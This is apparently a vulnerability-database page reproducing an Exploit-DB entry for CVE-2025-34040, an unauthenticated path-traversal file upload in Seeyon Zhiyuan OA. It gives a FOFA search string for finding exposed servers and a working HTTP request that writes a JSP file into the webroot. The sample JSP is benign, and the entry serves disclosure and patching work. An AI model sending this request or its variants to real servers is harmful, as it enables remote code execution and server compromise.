Lucene search
K

Zhiyuan OA - arbitrary file upload leading

🗓️ 06 Apr 2026 00:00:00Reported by Beatriz Fresno NaumovaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 118 Views

Zhiyuan OA arbitrary file upload allows path traversal to store JavaServer Page and execute remote code.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-34040
24 Jun 202501:46
circl
CNNVD
Seeyon Zhiyuan OA 安全漏洞
24 Jun 202500:00
cnnvd
CVE
CVE-2025-34040
24 Jun 202501:12
cve
Cvelist
CVE-2025-34040 Seeyon Zhiyuan OA System Path Traversal File Upload
24 Jun 202501:12
cvelist
EUVD
EUVD-2025-19043
3 Oct 202520:07
euvd
GithubExploit
Exploit for CVE-2025-34040
29 Aug 202507:33
githubexploit
Nuclei
Zhiyuan OA Platform - Arbitrary File Upload
22 Jun 202605:20
nuclei
NVD
CVE-2025-34040
24 Jun 202502:15
nvd
Packet Storm
📄 Zhiyuan OA Traversal / File Upload
6 Apr 202600:00
packetstorm
Positive Technologies
PT-2025-26671
24 Jun 202500:00
ptsecurity
Rows per page
# Exploit Title: Zhiyuan OA  - arbitrary file upload leading 
# Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2"
# Date: 1-11-2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://service.seeyon.com/
# Software Link: [vendor download / product page if available]
# Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck)
# Tested on: MacOS
# CVE: CVE-2025-34040

Description:
A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution.

High-level reproduction template (redacted — non-actionable):
POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) — DO NOT include such server-side code here.

Impact:
- Remote code execution if the uploaded file is accessible and executable.
- Complete server compromise and pivoting to internal networks.
- Data exfiltration, persistence, and further lateral movement.

References:
- NVD CVE-2025-34040 (NVD entry – awaiting enrichment)
- VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
- CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627
- Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html

POC;
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=......
Accept-Encoding: gzip

--......
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel

<% out.println("HelloWorld");%>
--.......--

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation